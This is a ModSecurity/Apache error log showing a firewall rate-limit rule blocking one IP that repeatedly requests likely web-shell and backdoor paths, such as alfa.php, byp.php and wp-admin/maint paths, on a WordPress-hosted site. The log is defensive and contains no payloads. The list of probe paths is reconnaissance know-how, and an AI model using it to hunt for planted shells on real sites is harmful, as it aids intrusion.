[Fri Feb 27 02:13:30.522259 2026] [:error] [pid 18843:tid 18964] [client 20.104.124.39:45130] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaCNSiuD2bhSYSowPs0NcgAAARg"]
[Fri Feb 27 02:13:31.542255 2026] [:error] [pid 18831:tid 18921] [client 20.104.124.39:45106] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaCNS_5KHTHUIuWRG2bWiwAAAEg"]
[Fri Feb 27 02:13:32.538949 2026] [:error] [pid 18818:tid 18905] [client 20.104.124.39:45016] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaCNTBhPgqk2SeS_W83MPAAAABU"]
[Fri Feb 27 02:13:33.324081 2026] [:error] [pid 19020:tid 19026] [client 20.104.124.39:45033] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aaCNTbN3kp7wL6QzPnU5mQAAAUQ"]
[Fri Feb 27 02:13:34.208838 2026] [:error] [pid 20059:tid 20119] [client 20.104.124.39:45091] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaCNTpZBS5wIa_Nsqsgq2AAAAdE"]
[Fri Feb 27 02:13:35.216918 2026] [:error] [pid 18843:tid 18958] [client 20.104.124.39:45006] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaCNTyuD2bhSYSowPs0NfwAAARI"]
[Fri Feb 27 02:13:36.200323 2026] [:error] [pid 18818:tid 18903] [client 20.104.124.39:45128] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaCNUBhPgqk2SeS_W83MPQAAABM"]
[Fri Feb 27 02:13:36.947505 2026] [:error] [pid 18843:tid 18942] [client 20.104.124.39:45182] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aaCNUCuD2bhSYSowPs0NgQAAAQI"]
[Fri Feb 27 02:13:37.863999 2026] [:error] [pid 20059:tid 20107] [client 20.104.124.39:45111] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaCNUZZBS5wIa_Nsqsgq3gAAAcU"]
[Fri Feb 27 02:13:38.617128 2026] [:error] [pid 20059:tid 20113] [client 20.104.124.39:45024] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaCNUpZBS5wIa_Nsqsgq4QAAAcs"]
[Fri Feb 27 02:13:40.080080 2026] [:error] [pid 20059:tid 20125] [client 20.104.124.39:45076] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaCNVJZBS5wIa_Nsqsgq5gAAAdc"]
[Fri Feb 27 02:13:41.486922 2026] [:error] [pid 20059:tid 20111] [client 20.104.124.39:45086] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaCNVZZBS5wIa_Nsqsgq6wAAAck"]
[Fri Feb 27 02:13:42.105343 2026] [:error] [pid 20059:tid 20117] [client 20.104.124.39:45066] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaCNVpZBS5wIa_Nsqsgq8gAAAc8"]
[Fri Feb 27 02:13:43.103822 2026] [:error] [pid 20059:tid 20105] [client 20.104.124.39:45056] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaCNV5ZBS5wIa_Nsqsgq9wAAAcM"]
[Fri Feb 27 02:13:43.867652 2026] [:error] [pid 18831:tid 18923] [client 20.104.124.39:45051] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaCNV_5KHTHUIuWRG2bWmgAAAEo"]
[Fri Feb 27 02:13:45.138618 2026] [:error] [pid 20059:tid 20107] [client 20.104.124.39:44950] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aaCNWZZBS5wIa_NsqsgrAgAAAcU"]
[Fri Feb 27 02:13:46.375989 2026] [:error] [pid 18843:tid 18953] [client 20.104.124.39:45087] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaCNWiuD2bhSYSowPs0NjAAAAQ0"]
[Fri Feb 27 02:13:47.456505 2026] [:error] [pid 19020:tid 19026] [client 20.104.124.39:45105] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaCNW7N3kp7wL6QzPnU5qAAAAUQ"]
[Fri Feb 27 02:13:48.120146 2026] [:error] [pid 20059:tid 20104] [client 20.104.124.39:45175] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaCNXJZBS5wIa_NsqsgrDgAAAcI"]
[Fri Feb 27 02:13:48.938023 2026] [:error] [pid 20059:tid 20123] [client 20.104.124.39:45127] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaCNXJZBS5wIa_NsqsgrEgAAAdU"]
[Fri Feb 27 02:13:50.039270 2026] [:error] [pid 20059:tid 20113] [client 20.104.124.39:45059] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaCNXpZBS5wIa_NsqsgrFAAAAcs"]
[Fri Feb 27 02:13:51.452027 2026] [:error] [pid 19020:tid 19041] [client 20.104.124.39:45088] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaCNX7N3kp7wL6QzPnU5qwAAAVM"]
[Fri Feb 27 02:13:52.078938 2026] [:error] [pid 20059:tid 20120] [client 20.104.124.39:44963] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaCNYJZBS5wIa_NsqsgrGwAAAdI"]
[Fri Feb 27 02:13:53.572085 2026] [:error] [pid 18843:tid 18960] [client 20.104.124.39:45151] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaCNYSuD2bhSYSowPs0NqwAAARQ"]
[Fri Feb 27 02:13:54.393689 2026] [:error] [pid 20059:tid 20121] [client 20.104.124.39:45030] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaCNYpZBS5wIa_NsqsgrIQAAAdM"]
[Fri Feb 27 02:13:54.898724 2026] [:error] [pid 19020:tid 19031] [client 20.104.124.39:45116] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaCNYrN3kp7wL6QzPnU5tQAAAUk"]
[Fri Feb 27 02:13:55.426974 2026] [:error] [pid 20059:tid 20122] [client 20.104.124.39:45025] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaCNY5ZBS5wIa_NsqsgrJgAAAdQ"]
[Fri Feb 27 02:13:56.316468 2026] [:error] [pid 20059:tid 20117] [client 20.104.124.39:45107] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaCNZJZBS5wIa_NsqsgrKAAAAc8"]
[Fri Feb 27 02:13:57.048663 2026] [:error] [pid 18818:tid 18886] [client 20.104.124.39:44992] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaCNZRhPgqk2SeS_W83MSgAAAAI"]
[Fri Feb 27 02:13:57.714946 2026] [:error] [pid 18818:tid 18905] [client 20.104.124.39:45163] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaCNZRhPgqk2SeS_W83MSwAAABU"]
[Fri Feb 27 02:13:58.556475 2026] [:error] [pid 18818:tid 18907] [client 20.104.124.39:44975] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaCNZhhPgqk2SeS_W83MTQAAABc"]
[Fri Feb 27 02:13:59.157015 2026] [:error] [pid 19020:tid 19027] [client 20.104.124.39:45135] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaCNZ7N3kp7wL6QzPnU5twAAAUU"]
[Fri Feb 27 02:13:59.915315 2026] [:error] [pid 19020:tid 19043] [client 20.104.124.39:45045] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaCNZ7N3kp7wL6QzPnU5uAAAAVU"]
[Fri Feb 27 02:14:08.410188 2026] [:error] [pid 18818:tid 18900] [client 20.104.124.39:44947] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaCNcBhPgqk2SeS_W83MZQAAABA"]
[Fri Feb 27 02:14:10.116761 2026] [:error] [pid 18831:tid 18916] [client 20.104.124.39:45046] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaCNcv5KHTHUIuWRG2bW3AAAAEM"]
[Fri Feb 27 02:14:11.617995 2026] [:error] [pid 19020:tid 19040] [client 20.104.124.39:45117] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaCNc7N3kp7wL6QzPnU55QAAAVI"]
[Fri Feb 27 02:14:12.536417 2026] [:error] [pid 20059:tid 20116] [client 20.104.124.39:45114] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaCNdJZBS5wIa_NsqsgrWAAAAc4"]
[Fri Feb 27 02:14:13.434821 2026] [:error] [pid 18843:tid 18949] [client 20.104.124.39:45009] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaCNdSuD2bhSYSowPs0OFwAAAQk"]
[Fri Feb 27 02:14:14.194682 2026] [:error] [pid 20059:tid 20107] [client 20.104.124.39:45031] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaCNdpZBS5wIa_NsqsgrXAAAAcU"]
[Fri Feb 27 02:14:16.041212 2026] [:error] [pid 18843:tid 18946] [client 20.104.124.39:45036] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaCNeCuD2bhSYSowPs0OGwAAAQY"]
[Fri Feb 27 02:14:17.136206 2026] [:error] [pid 20059:tid 20109] [client 20.104.124.39:45134] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaCNeZZBS5wIa_NsqsgrYgAAAcc"]
[Fri Feb 27 02:14:18.726456 2026] [:error] [pid 20059:tid 20102] [client 20.104.124.39:45161] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaCNepZBS5wIa_NsqsgraAAAAcA"]
[Fri Feb 27 02:14:20.555707 2026] [:error] [pid 19020:tid 19031] [client 20.104.124.39:45050] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaCNfLN3kp7wL6QzPnU5-QAAAUk"]
[Fri Feb 27 02:14:21.523375 2026] [:error] [pid 20059:tid 20122] [client 20.104.124.39:45168] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaCNfZZBS5wIa_NsqsgragAAAdQ"]
[Fri Feb 27 02:14:24.024125 2026] [:error] [pid 18831:tid 18925] [client 20.104.124.39:45013] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaCNgP5KHTHUIuWRG2bW7wAAAEw"]
[Fri Feb 27 02:14:25.325974 2026] [:error] [pid 20059:tid 20122] [client 20.104.124.39:45022] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaCNgZZBS5wIa_NsqsgrdAAAAdQ"]
[Fri Feb 27 02:14:26.443119 2026] [:error] [pid 19020:tid 19030] [client 20.104.124.39:44876] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaCNgrN3kp7wL6QzPnU6BgAAAUg"]
[Fri Feb 27 02:14:27.736480 2026] [:error] [pid 20059:tid 20109] [client 20.104.124.39:45110] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaCNg5ZBS5wIa_NsqsgriAAAAcc"]
[Fri Feb 27 02:14:29.305560 2026] [:error] [pid 18843:tid 18953] [client 20.104.124.39:45152] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaCNhSuD2bhSYSowPs0OIAAAAQ0"]
[Fri Feb 27 02:14:30.251936 2026] [:error] [pid 20059:tid 20118] [client 20.104.124.39:45011] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aaCNhpZBS5wIa_NsqsgrjwAAAdA"]
[Fri Feb 27 02:14:31.053538 2026] [:error] [pid 20059:tid 20123] [client 20.104.124.39:44872] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aaCNh5ZBS5wIa_NsqsgrkgAAAdU"]
[Fri Feb 27 02:14:32.262518 2026] [:error] [pid 18818:tid 18896] [client 20.104.124.39:45112] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aaCNiBhPgqk2SeS_W83MuAAAAAw"]
[Fri Feb 27 02:14:33.156431 2026] [:error] [pid 20059:tid 20105] [client 20.104.124.39:45014] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aaCNiZZBS5wIa_NsqsgrlQAAAcM"]
[Fri Feb 27 02:14:34.293645 2026] [:error] [pid 19020:tid 19027] [client 20.104.124.39:44964] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aaCNirN3kp7wL6QzPnU6FgAAAUU"]
[Fri Feb 27 02:14:35.175047 2026] [:error] [pid 20059:tid 20111] [client 20.104.124.39:44961] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aaCNi5ZBS5wIa_NsqsgrnAAAAck"]
